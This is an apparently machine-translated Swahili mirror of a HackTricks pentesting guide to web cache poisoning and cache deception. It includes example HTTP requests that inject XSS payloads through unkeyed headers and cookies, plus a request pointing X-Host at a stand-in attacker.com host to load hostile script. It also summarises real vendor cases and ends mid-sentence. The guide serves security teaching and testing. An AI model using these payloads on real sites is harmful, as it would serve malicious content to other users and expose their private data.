Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md
Translator workflow 54a7bb5de7 Translated to Swahili
2024-02-11 02:13:58 +00:00

15 KiB
Raw Blame History

Kuharibu na Kudanganya Kache

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:


Tumia Trickest kujenga na kutumia mchakato wa kiotomatiki ulioendeshwa na zana za jamii za kisasa zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Tofauti

Ni tofauti gani kati ya kuharibu kache ya wavuti na kudanganya kache ya wavuti?

  • Katika kuharibu kache ya wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui yenye nia mbaya kwenye kache, na maudhui haya hutumikia kutoka kwenye kache kwa watumiaji wengine wa programu.
  • Katika kudanganya kache ya wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye kache, na kisha mshambuliaji huchukua maudhui haya kutoka kwenye kache.

Kuharibu Kache

Kuharibu kache kunalenga kubadilisha kache upande wa mteja ili kulazimisha wateja kupakia rasilimali ambazo hazitarajiwi, ni sehemu tu, au zinadhibitiwa na mshambuliaji. Upeo wa athari unategemea umaarufu wa ukurasa unaohusika, kwani jibu lililochafuliwa linatumikia watumiaji wanaotembelea ukurasa wakati wa kipindi cha uchafuzi wa kache.

Utekelezaji wa shambulio la kuharibu kache unahusisha hatua kadhaa:

  1. Ugunduzi wa Viingizo Visivyokuwa na Funguo: Hivi ni vigezo ambavyo, ingawa sio lazima kwa ombi kuhifadhiwa kwenye kache, vinaweza kubadilisha jibu linalorudishwa na seva. Kugundua viingizo hivi ni muhimu kwani vinaweza kutumiwa kudanganya kache.

  2. Kutumia Viingizo Visivyokuwa na Funguo: Baada ya kutambua viingizo visivyokuwa na funguo, hatua inayofuata ni kugundua jinsi ya kutumia vigezo hivi vibaya ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.

  3. Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa kwenye Kache: Hatua ya mwisho ni kuhakikisha kuwa jibu lililochafuliwa linahifadhiwa kwenye kache. Kwa njia hii, mtumiaji yeyote anayefikia ukurasa unaohusika wakati kache imechafuliwa atapokea jibu lililochafuliwa.

Ugunduzi: Angalia vichwa vya HTTP

Kawaida, wakati jibu limehifadhiwa kwenye kache kutakuwa na kichwa kinachoonyesha hivyo, unaweza kuangalia vichwa ambavyo unapaswa kuzingatia katika chapisho hili: Vichwa vya Kache ya HTTP.

Ugunduzi: Kuhifadhi nambari ya 400 kwenye kache

Ikiwa unafikiria kuwa jibu limehifadhiwa kwenye kache, unaweza kujaribu kutuma maombi na kichwa kibaya, ambacho kinapaswa kujibiwa na nambari ya hali 400. Kisha jaribu kupata upatikanaji wa ombi kawaida na ikiwa jibu ni nambari ya hali 400, unajua kuwa ni dhaifu (na hata unaweza kufanya DoS).
Kichwa kilichopangwa vibaya kinaweza kuwa tu \: kama kichwa.
Taarifa kwamba mara nyingine nambari za hali kama hizi hazihifadhiwi kwa hivyo jaribio hili litakuwa lisilo na maana.

Ugunduzi: Tambua na tathmini viingizo visivyokuwa na funguo

Unaweza kutumia Param Miner kubadilisha vigezo na vichwa vya kuvunja nguvu ambavyo vinaweza kubadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kutumia kichwa X-Forwarded-For kuonyesha mteja kupakia skripti kutoka hapo:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Kupata jibu hatari kutoka kwenye seva ya nyuma

Baada ya kutambua parameter/header, angalia jinsi inavyosafishwa na mahali ambapo inaathiri jibu kutoka kwenye header. Je, unaweza kuitumia vibaya (kufanya XSS au kupakia kificho cha JS kinachodhibitiwa na wewe? kufanya DoS?...)

Pata jibu lililohifadhiwa

Baada ya kutambua ukurasa ambao unaweza kutumia vibaya, parameter/header utakayotumia na jinsi ya kuitumia vibaya, unahitaji kupata ukurasa uliohifadhiwa. Kulingana na rasilimali unayotaka kupata kwenye cache, hii inaweza kuchukua muda fulani, unaweza kulazimika kujaribu kwa sekunde kadhaa.
Header X-Cache kwenye jibu inaweza kuwa muhimu kwani inaweza kuwa na thamani miss wakati ombi halijahifadhiwa kwenye cache na thamani hit wakati ombi limehifadhiwa kwenye cache.
Header Cache-Control pia ni muhimu kujua ikiwa rasilimali inahifadhiwa kwenye cache na wakati gani rasilimali itahifadhiwa tena: Cache-Control: public, max-age=1800
Header nyingine muhimu ni Vary. Header hii mara nyingi hutumiwa kuonyesha headers ziada ambazo zinachukuliwa kama sehemu ya cache key hata kama kawaida hazina key. Kwa hivyo, ikiwa mtumiaji anajua User-Agent ya mwathiriwa anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia User-Agent hiyo maalum.
Header nyingine inayohusiana na cache ni Age. Inaainisha muda katika sekunde ambao kitu hicho kimekuwa kwenye cache ya proksi.

Wakati unahifadhi ombi, kuwa makini na headers unazotumia kwa sababu baadhi yao zinaweza kutumiwa kwa njia isiyotarajiwa kama keyed na mwathiriwa atahitaji kutumia header hiyo hiyo. Jaribu daima Cache Poisoning na vivinjari tofauti ili kuona ikiwa inafanya kazi.

Mifano ya Utekaji

Mfano rahisi zaidi

Header kama X-Forwarded-For inaonyeshwa kwenye jibu bila kusafishwa.
Unaweza kutuma XSS payload rahisi na kuharibu cache ili kila mtu anayefikia ukurasa huo atapata XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note kwamba hii itachafua ombi kwa /en?region=uk sio /en

Kutumia uchafuzi wa cache ya wavuti kufaidika na udhaifu wa kushughulikia kuki

Vidakuzi pia vinaweza kurejelewa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia kusababisha XSS kwa mfano, unaweza kuweza kufaidika na XSS kwenye wateja kadhaa ambao hulipakia jibu la cache lenye nia mbaya.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Tafadhali kumbuka kuwa ikiwa kuki yenye udhaifu inatumika sana na watumiaji, maombi ya kawaida yatafuta cache.

Kutumia vichwa vingi kudukua udhaifu wa sumu ya cache ya wavuti

Marafiki utahitaji kudukua pembejeo zisizo na ufunguo kadhaa ili uweze kutumia cache vibaya. Kwa mfano, unaweza kupata Uelekezaji wazi ikiwa unaweka X-Forwarded-Host kwa kikoa kinachodhibitiwa na wewe na X-Forwarded-Scheme kuwa http. Ikiwa seva inaendeleza maombi yote ya HTTP kwenda HTTPS na kutumia kichwa cha X-Forwarded-Scheme kama jina la kikoa kwa uelekezaji. Unaweza kudhibiti mahali ambapo ukurasa unaelekezwa kupitia uelekezaji.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Kudukua kwa kutumia Vary kichwa kilichopunguzwa

Ikiwa umegundua kuwa kichwa cha X-Host kinatumika kama jina la kikoa cha kupakia rasilimali ya JS lakini kichwa cha Vary katika jibu linabainisha User-Agent, basi unahitaji kupata njia ya kuchukua User-Agent ya muathiriwa na kuchafua cache kwa kutumia user agent huyo:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Kudukiza Cache ya HTTP kwa kudanganya Ombi la HTTP Smuggling

Jifunze hapa jinsi ya kutekeleza mashambulizi ya Kudukiza Cache kwa kudanganya Ombi la HTTP Smuggling.

Upimaji wa kiotomatiki kwa Kudukiza Cache ya Wavuti

Skana ya Udhaifu wa Cache ya Wavuti inaweza kutumika kwa kupima kiotomatiki kudukiza cache ya wavuti. Inasaidia mbinu nyingi tofauti na inaweza kubadilishwa kwa urahisi.

Matumizi ya mfano: wcvs -u example.com


Tumia Trickest kuunda na kutumia kiotomatiki mchakato wa kazi ulioendeshwa na zana za jamii za kisasa zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Mifano Inayoweza Kudukizwa

Apache Traffic Server (CVE-2021-27577)

ATS ilipeleka sehemu ndani ya URL bila kuiondoa na ikazalisha funguo za cache kwa kutumia mwenyeji, njia, na swali (ikipuuza sehemu). Kwa hivyo ombi /#/../?r=javascript:alert(1) lilipelekwa kwa seva ya nyuma kama /#/../?r=javascript:alert(1) na funguo za cache hazikuwa na mzigo ndani yake, tu mwenyeji, njia, na swali.

GitHub CP-DoS

Kutuma thamani mbaya katika kichwa cha aina ya yaliyomo kulizindua jibu lililohifadhiwa la 405. Funguo la cache lilikuwa na kuki kwa hivyo ilikuwa inawezekana kushambulia watumiaji wasiothibitishwa tu.

GitLab + GCP CP-DoS

GitLab hutumia vifurushi vya GCP kuhifadhi yaliyomo tuli. Vifurushi vya GCP vinaweza kusaidia kichwa cha x-http-method-override. Kwa hivyo ilikuwa inawezekana kutuma kichwa cha x-http-method-override: HEAD na kudukiza cache ili irudishe mwili wa jibu tupu. Pia inaweza kusaidia njia ya PURGE.

Rack Middleware (Ruby on Rails)

Katika programu za Ruby on Rails, mara nyingi hutumiwa Rack middleware. Lengo la nambari ya Rack ni kuchukua thamani ya kichwa cha x-forwarded-scheme na kuweka kama mpango wa ombi. Wakati kichwa cha x-forwarded-scheme: http kinatumwa, kuna uhamisho wa 301 kwa eneo sawa, ambayo inaweza kusababisha Kukataa Huduma (DoS) kwa rasilimali hiyo. Kwa kuongezea, programu inaweza kukubali kichwa cha X-forwarded-host na kuhamisha watumiaji kwenye mwenyeji uliowekwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwenye seva ya mshambuliaji, ambayo inaleta hatari ya usalama.

403 na Uhifadhi wa Vifurushi

Cloudflare hapo awali ilihifadhi majibu ya 403. Jaribio la kupata S3 au Azure Storage Blobs na vichwa vya Uthibitishaji visivyo sahihi lingesababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza kuwepo katika huduma zingine za wakala.

Kuingiza Vigezo vya Kufungua

Cache mara nyingi inajumuisha vigezo maalum vya GET katika funguo za cache. Kwa mfano, Varnish ya Fastly ilihifadhi kipengee cha size katika maombi. Walakini, ikiwa toleo lililofungwa kwa URL la kipengee (kwa mfano, siz%65) pia lilipelekwa na thamani isiyo sahihi, funguo la cache lingejengwa kwa kutumia kipengee sahihi cha size. Walakini, seva ya nyuma ingeiprocess thamani katika kipengee kilichofungwa kwa URL. Kufunga URL ya kipengee cha pili kulifanya kisichukuliwe na cache lakini kutumiwa na seva ya nyuma. Kutoa thamani ya 0 kwa kipengee hiki kulikuwa na matokeo ya kosa la 400 Bad Request linaloweza kuhifadhiwa katika cache.

Sheria za Mawakala wa Mtumiaji

Baadhi ya watengenezaji wanazuia maombi na mawakala wa mtumiaji yanayolingana na zana za trafiki kubwa kama FFUF au Nuclei ili kusimamia mzigo wa seva. Kwa kusikitisha, njia hii inaweza kuleta udhaifu kama vile kudukiza cache na DoS.

Sehemu za Kichwa Zisizo Halali

RFC7230 inaelezea herufi zinazokubalika katika majina ya kichwa. Kichwa chenye herufi zisizo kwenye safu iliyotajwa ya tchar kinapaswa kuzindua jibu la 400 Bad Request. Kwa vitendo, seva hazifuati daima kiwango hiki. Mfano maarufu ni Akamai, ambayo inapeleka vichwa vya kichwa na herufi zisizo halali na kuhifadhi kosa lolote la 400, ikiwa tu kichwa cha cache-control hakipo. Mfano wa kutumia uligunduliwa ambapo kutuma kichwa chenye herufi zisizo halali, kama vile \, kulikuwa na matokeo ya kosa la 400 Bad Request linaloweza kuhifadhiwa katika cache.

Kupata Vichwa vipya

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Udanganyifu wa Cache

Lengo la Udanganyifu wa Cache ni kufanya wateja pakia rasilimali ambazo zitahifadhiwa na cache na habari nyeti.

Kwanza kabisa, angalia kwamba nyongeza kama vile .css, .js, .png nk kawaida imeundwa kuwa hifadhiwa kwenye cache. Kwa hivyo, ikiwa unafikia www.example.com/profile.php/nonexistent.js cache labda itahifadhi jibu kwa sababu inaona nyongeza ya .js. Lakini, ikiwa programu inarudia na maudhui nyeti ya mtumiaji yaliyohifadhiwa katika www.example.com/profile.php, unaweza kuiba maudhui hayo kutoka kwa watum

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: